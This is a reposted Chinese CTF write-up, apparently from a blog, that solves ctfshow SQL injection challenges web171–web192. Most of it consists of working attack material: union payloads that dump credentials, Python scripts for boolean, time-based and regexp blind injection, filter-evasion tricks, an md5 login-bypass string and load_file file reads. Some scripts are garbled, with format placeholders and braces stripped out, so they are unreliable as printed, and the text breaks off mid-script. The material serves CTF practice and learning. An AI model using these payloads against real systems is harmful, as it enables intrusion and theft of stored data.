ctfshow web入门-sql注入

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门-sql注入相关的知识,希望对你有一定的参考价值。

ctfshow web入门-sql注入

web171

  • 根据题目给出的查询语句构造 Payload
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select 1,database(),3 --+
爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+
爆数据
-1' union select 1,concat(0x7e,id,0x7e,username,0x7e,password),3 from ctfshow_user limit 25--+

web172

  • 根据题目给出的查询语句构造 Payload
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select database(),2 --+
爆表名
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
爆列名
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='ctfshow_user2' --+
爆数据
-1' union select to_base64(username),to_base64(password) from ctfshow_user2--+

web173

  • 根据题目给出的查询语句构造 Payload
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select 1,database(),3 --+
爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3' --+
爆数据
-1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 --+

web174

  • 发现无法在页面中获得输出,抓包后发现是布尔盲注

import time
import requests

def boolBlindSql(url):
    flag = ''
    for i in range(1,100):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) >> 1
            payload = "?id=1\\' and 1=if(ascii(substr((select password from ctfshow_user4 where username=\\'flag\\'),,1))>,1,0) --+".format(i,mid)
            res = requests.get(url + payload)
            if 'admin' in res.text:
                low = mid + 1
            else:
                high = mid
        if low != 32:
            flag += chr(low)
            print('[+] ' + flag)
            continue
        else:
            break

if __name__ == '__main__':
    url = "http://9260e8d4-aa8f-47ca-8737-7e4bdc8bff09.challenge.ctf.show:8080/api/v4.php"
    boolBlindSql(url)

web175

  • 发现无法在页面中获得输出,抓包后发现也没有回显,猜测是时间盲注
import time
import requests

def timeBlindSql(url):
    flag = ''
    for i in range(1,100):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) >> 1
            payload = "?id=1\\' or if(ascii(substr((select password from ctfshow_user5 where username=\\'flag\\'),,1))>,benchmark(10000000,sha(1)),0)--+".format(i,mid)
            try:
                res = requests.get(url + payload, timeout=1.5)
                high = mid
            except Exception as e:
                low = mid + 1


        if low != 32:
            flag += chr(low)
            print('[+] ' + flag)
            continue
        else:
            break

if __name__ == '__main__':
    url = 'http://ea22cc4b-de61-4e78-8f26-7f4c5cb9b750.challenge.ctf.show:8080/api/v5.php'
    timeBlindSql(url)

web176

  • Payload
1' or '1'='1' --+

web177

  • Payload
1'or'1'='1'%23
或者
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username='flag'%23

web178

  • Payload
1'or'1'='1'%23
或者
1'%09union%09select%09password,1,1%09from%09ctfshow_user%09where%09username='flag'%23

web179

  • Payload
1'or'1'='1'%23
或者
1'%0cunion%0cselect%0cpassword,1,1%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

web180

  • Payload
-1'or(mid(username,1,1)='f')and'1'='1

web181

  • Payload
-1'or(mid(username,1,1)='f')and'1'='1

web182

  • Payload
-1'or(mid(username,1,1)='f')and'1'='1

web183

  • 测试后发现当 POST tableName=ctfshow_user 时会有回显,根据回显内容构造脚本
import requests

def regexpBlindSql(url):
    flag = ''
    chrOfFlag = r'ctfshow-0123456789abdegijklmnpqruvxyz'
    for i in range(1,50):
        for ch in chrOfFlag:
            data = 
                "tableName" : "(ctfshow_user)where(mid(pass,,1))regexp('')".format(i,ch)
            
            res = requests.post(url, data=data)
            if '$user_count = 1;' in res.text:
                flag += ch
                print('[+]' + flag)
                break

if __name__ == '__main__':
    url = '''http://c10f0bff-9f7e-4bdd-8d11-71c0eb7efa49.challenge.ctf.show:8080/select-waf.php'''
    regexpBlindSql(url)

web184

  • 由于这里过滤很多,上一题的 where 也被过滤了,考虑用 right join 来进行注入
import requests
import string
import binascii
url = 'http://1e3df5be-6e3c-443b-b738-2471d9537f9c.challenge.ctf.show:8080/select-waf.php'
payload = 
        "tableName":''
        
flag = ''
chrOfFlag = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
judge ='$user_count = 22;'
for i in range(2,50):
    for c in chrOfFlag:
        a = flag + c     
        a = a.encode('utf-8')  #按utf-8编码
        a = binascii.hexlify(a) #编码为16进制
        a = str(a)  #化为字符串
        a = '0x' + a[2 : len(a) - 1] #形成16进制格式
        payload['tableName'] = "ctfshow_user a join ctfshow_user b on (substr(a.pass,8,) regexp )".format(i,a)
        response = requests.post(url, data = payload)
        if response.text.find(judge) != -1:
            flag += c
            print('[+] ' + flag)    
            break

web185

  • 过滤了数字,用下面图片中相关内容进行绕过

import requests


url = 'http://3bfb7aa3-6f20-45d2-a207-b0f1c33cbd17.challenge.ctf.show:8080/select-waf.php'
preflag = 'ctfshow'
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, , ))regexp(hex(char))'

def createNumber(num):
    ret = 'hex(ceil(cot(-ascii(char_length(now())))))'
    if num != 1:
        for i in range(num - 1):
            ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))'
    return ret

def noNumber2GetFlag():
    flag = ''
    for i in range(42):
        # print('[+] Start blind  palce'.format(i))
        for ch in strings:
            data = 
                'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch)))
            
            res = requests.post(url, data)
            if res.text.find('43') > 0:
                flag += ch
                print('[+] ' + flag)
                break
    return flag
if __name__ == '__main__':
    print(noNumber2GetFlag())

web186

  • 过滤条件绕过后和上一题一样的脚本
import requests


url = 'http://9ae687ca-baad-41a4-a8f1-a2c9dea3b271.challenge.ctf.show:8080/select-waf.php'
preflag = 'ctfshow'
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, , ))regexp(hex(char))'

def createNumber(num):
    ret = 'hex(ceil(cot(-ascii(char_length(now())))))'
    if num != 1:
        for i in range(num - 1):
            ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))'
    return ret

def noNumber2GetFlag():
    flag = ''
    for i in range(42):
        # print('[+] Start blind  palce'.format(i))
        for ch in strings:
            data = 
                'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch)))
            
            res = requests.post(url, data)
            if res.text.find('43') > 0:
                flag += ch
                print('[+] ' + flag)
                break
    return flag
if __name__ == '__main__':
    print(noNumber2GetFlag())

web187

  • 分析源码,发现关键点 md5($_POST['password'],true),当该十六字符二进制格式开头为 ' or ' 时,后面的字符串为一个非零的数字开头都会返回 True,这样便可以绕过这里从而拿到 Flag,这里给出几个符合条件的字符串:ffifdyop、129581926211651571912466741651878684928、

  $username = $_POST['username'];
  $password = md5($_POST['password'],true);

  //只有admin可以获得flag
  if($username!='admin')
      $ret['msg']='用户名不存在';
      die(json_encode($ret));
  
POST: username=admin&password=ffifdyop

web188

  • 这里再密码判断需要满足是一个纯数字,且后面进行了一个弱比较,考虑用 0 来绕过,而在用户名判断的地方可以用布尔的 0 来绕过,这里为 0 其实也就是 where username != 1,即可查出所有的用户信息,原因戳这
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\\(|\\)|\\'|\\"/i', $username))
  $ret['msg']='用户名非法';
  die(json_encode($ret));


//密码检测
if(!is_numeric($password))
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));


//密码判断
if($row['pass']==intval($password))
    $ret['msg']='登陆成功';
    array_push($ret['data'], array('flag'=>$flag));
  
    
POST:username=1<1&password=0

web189

  • 题目给出 Flag 在 api/index.php 里,用 load_file 盲注查询即可
import requests
from tqdm import tqdm


def load_fileBlindSql():
    strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
    flag = 'ctfshow'
    while True:
        for ch in tqdm(strings):
            temp = flag + ch
            payload = 
                "username":"if((load_file('/var/www/html/api/index.php'))regexp(''),0,1)".format(temp),
                "password":"1"
            
            res = requests.post('http://98ddf685-7bb6-4661-be3c-81f5e80f2941.challenge.ctf.show:8080/api/index.php',data=payload)
            if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
                flag += ch
                print('[+] ' + flag)
                if ch == '':
                  exit()
                break

if __name__ == '__main__':
    load_fileBlindSql()

web190

  • 无过滤的布尔盲注
import requests

def boolBlindSql():
    table_name = ''
    strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
    headers = "Content-Type": "application/x-www-form-urlencoded",
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
    for i in range(1, 100):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) >> 1
            # payload = "username=admin' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>,1,0)--+&password=1"
            # payload = "username=admin' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))>,1,0)--+&password=1"
            payload = "username=admin' and if(ascii(mid((select group_concat(f1ag) from ctfshow_fl0g),,1))>,1,0)--+&password=1"
            res = requests.post(url='http://609c417a-7958-45db-9922-03cb5253db3b.challenge.ctf.show:8080/api/', data=payload.format(i,mid), headers=headers)
            if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
                low = mid + 1
            else:
                high = mid
        if low != 32:
            table_name += chr(low)
            print('[+] ' + table_name)
            continue
        else:
            break



if __name__ == '__main__':
    boolBlindSql()

web191

  • 过滤了 ascii,用 ord 即可
import requests

def boolBlindSql():
    table_name = ''
    strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!'
    headers = "Content-Type": "application/x-www-form-urlencoded",
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
    for i in range(1, 100):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) >> 1
            # payload = "username=admin' and if(ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>,1,0)--+&password=1"
            # payload = "username=admin' and if(ord(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))>,1,0)--+&password=1"
            payload = "username=admin' and if(ord(mid((select group_concat(f1ag) from ctfshow_fl0g),,1))>,1,0)--+&password=1"
            res = requests.post(url='http://e5b85a69-befa-4aca-80d1-9ae2c69224b2.challenge.ctf.show:8080//api/', data=payload.format(i,mid), headers=headers)
            if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
                low = mid + 1
            else:
                high = mid
        if low != 32:
            table_name += chr(low)
            print('[+] ' + table_name)
            continue
        else:
            break



if __name__ == '__main__':
    boolBlindSql()

web192

  • 过滤了 ascii|ord|hex,不用它们就行啦
import requests

def boolBlindSql():
    table_name = ''
    strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!'
    headers = "Content-Type": "application/x-www-form-urlencoded",
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
    for i in range(1, 100):
        for ch in strings:
            # payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))regexp(''),1,0)--+&password=1"
            # payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))regexp(''),1,0)--+&password=1"
            payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_fl0g),,1))regexp(''),1,0)--+&password=1"
            res = requests.post(url='http://85290226-1b87-48d5-b290-bc17c6dceb66.

以上是关于ctfshow web入门-sql注入的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow web入门-sql注入

ctfshow web入门-sql注入

ctfshow web8--sql注入

ctfshow-WEB-web7

SSTI模板注入-中括号args单双引号被过滤绕过(ctfshow web入门365)

CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入SSRF打MySQLSSRF打FastCGISSRF文件读取